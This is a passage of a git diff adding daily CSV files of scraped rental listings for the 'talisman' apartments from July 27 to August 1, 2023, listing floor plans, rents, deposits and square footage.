Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230726,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230726,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230726,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230726,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230726,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230726,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230726,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230726,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230727.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230727.csv new file mode 100644 index 00000000000..da057cf0501 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230727.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230727,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230727,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230727,talisman,A10 (1x1),1 Bed 1 Bath,"$2,037",$300,578 - 665 sq.ft.,None,N/A +20230727,talisman,A1 (1x1),1 Bed 1 Bath,"$2,082",$300,604 - 671 sq.ft.,None,N/A +20230727,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230727,talisman,A3 (1x1),1 Bed 1 Bath,"$2,137",$300,609 - 642 sq.ft.,None,N/A +20230727,talisman,A2 (1x1),1 Bed 1 Bath,"$2,157",$300,617 - 715 sq.ft.,None,N/A +20230727,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230727,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230727,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230727,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230727,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230727,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230727,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230727,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230727,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230727,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230727,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230727,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230727,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230727,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230727,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230727,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230727,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230727,talisman,C2 (2x2),2 Bed 2 Bath,"$3,484",$300,1088 - 1243 sq.ft.,None,N/A +20230727,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230727,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230727,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230727,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230727,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230727,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230727,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230727,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230727,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230727,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230727,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230727,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230727,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230727,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230727,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230727,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230727,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230727,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230727,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230728.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230728.csv new file mode 100644 index 00000000000..30765746c6f --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230728.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230728,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230728,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230728,talisman,A10 (1x1),1 Bed 1 Bath,"$2,037",$300,578 - 665 sq.ft.,None,N/A +20230728,talisman,A1 (1x1),1 Bed 1 Bath,"$2,057",$300,604 - 671 sq.ft.,None,N/A +20230728,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230728,talisman,A3 (1x1),1 Bed 1 Bath,"$2,137",$300,609 - 642 sq.ft.,None,N/A +20230728,talisman,A2 (1x1),1 Bed 1 Bath,"$2,157",$300,617 - 715 sq.ft.,None,N/A +20230728,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230728,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230728,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230728,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230728,talisman,B2 (1x1),1 Bed 1 Bath,"$2,457",$300,706 - 739 sq.ft.,None,N/A +20230728,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230728,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230728,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230728,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230728,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230728,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230728,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230728,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230728,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230728,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230728,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230728,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230728,talisman,C2 (2x2),2 Bed 2 Bath,"$3,513",$300,1088 - 1243 sq.ft.,None,N/A +20230728,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230728,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230728,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230728,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230728,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230728,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230728,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230728,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230728,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230728,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230728,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230728,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230728,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230728,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230728,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230728,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230728,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230728,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230728,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230729.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230729.csv new file mode 100644 index 00000000000..6d316e3746a --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230729.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230729,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230729,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230729,talisman,A10 (1x1),1 Bed 1 Bath,"$2,143",$300,578 - 665 sq.ft.,None,N/A +20230729,talisman,A1 (1x1),1 Bed 1 Bath,"$2,163",$300,604 - 671 sq.ft.,None,N/A +20230729,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230729,talisman,A3 (1x1),1 Bed 1 Bath,"$2,243",$300,609 - 642 sq.ft.,None,N/A +20230729,talisman,A2 (1x1),1 Bed 1 Bath,"$2,263",$300,617 - 715 sq.ft.,None,N/A +20230729,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230729,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230729,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230729,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230729,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230729,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230729,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230729,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230729,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230729,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230729,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230729,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230729,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230729,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230729,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230729,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230729,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230729,talisman,C2 (2x2),2 Bed 2 Bath,"$3,459",$300,1088 - 1243 sq.ft.,None,N/A +20230729,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230729,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230729,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230729,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230729,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230729,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230729,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230729,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230729,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230729,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230729,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230729,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230729,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230729,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230729,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230729,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230729,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230729,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230729,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230730.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230730.csv new file mode 100644 index 00000000000..9fd0710f02c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230730.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230730,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230730,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230730,talisman,A10 (1x1),1 Bed 1 Bath,"$2,143",$300,578 - 665 sq.ft.,None,N/A +20230730,talisman,A1 (1x1),1 Bed 1 Bath,"$2,163",$300,604 - 671 sq.ft.,None,N/A +20230730,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230730,talisman,A3 (1x1),1 Bed 1 Bath,"$2,243",$300,609 - 642 sq.ft.,None,N/A +20230730,talisman,A2 (1x1),1 Bed 1 Bath,"$2,263",$300,617 - 715 sq.ft.,None,N/A +20230730,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230730,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230730,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230730,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230730,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230730,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230730,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230730,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230730,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230730,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230730,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230730,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230730,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230730,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230730,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230730,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230730,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230730,talisman,C2 (2x2),2 Bed 2 Bath,"$3,459",$300,1088 - 1243 sq.ft.,None,N/A +20230730,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230730,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230730,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230730,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230730,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230730,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230730,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230730,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230730,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230730,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230730,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230730,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230730,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230730,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230730,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230730,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230730,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230730,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230730,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230731.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230731.csv new file mode 100644 index 00000000000..bf972986e2e --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230731.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230731,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230731,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230731,talisman,A10 (1x1),1 Bed 1 Bath,"$2,143",$300,578 - 665 sq.ft.,None,N/A +20230731,talisman,A1 (1x1),1 Bed 1 Bath,"$2,163",$300,604 - 671 sq.ft.,None,N/A +20230731,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230731,talisman,A3 (1x1),1 Bed 1 Bath,"$2,243",$300,609 - 642 sq.ft.,None,N/A +20230731,talisman,A2 (1x1),1 Bed 1 Bath,"$2,263",$300,617 - 715 sq.ft.,None,N/A +20230731,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230731,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230731,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230731,talisman,B5 (1x1),1 Bed 1 Bath,"$2,422",$300,674 - 775 sq.ft.,None,N/A +20230731,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230731,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230731,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230731,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230731,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230731,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230731,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230731,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230731,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230731,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230731,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230731,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230731,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230731,talisman,C2 (2x2),2 Bed 2 Bath,"$3,459",$300,1088 - 1243 sq.ft.,None,N/A +20230731,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230731,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230731,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230731,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230731,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230731,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230731,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230731,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230731,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230731,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230731,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230731,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230731,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230731,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230731,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230731,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230731,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230731,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230731,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230801.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230801.csv new file mode 100644 index 00000000000..a96852b0089 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230801.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230801,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230801,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230801,talisman,A10 (1x1),1 Bed 1 Bath,"$2,143",$300,578 - 665 sq.ft.,None,N/A +20230801,talisman,A1 (1x1),1 Bed 1 Bath,"$2,163",$300,604 - 671 sq.ft.,None,N/A +20230801,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230801,talisman,A3 (1x1),1 Bed 1 Bath,"$2,243",$300,609 - 642 sq.ft.,None,N/A +20230801,talisman,A2 (1x1),1 Bed 1 Bath,"$2,263",$300,617 - 715 sq.ft.,None,N/A +20230801,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230801,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230801,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230801,talisman,B5 (1x1),1 Bed 1 Bath,"$2,367",$300,674 - 775 sq.ft.,None,N/A +20230801,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230801,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230801,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230801,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230801,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230801,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230801,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230801,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 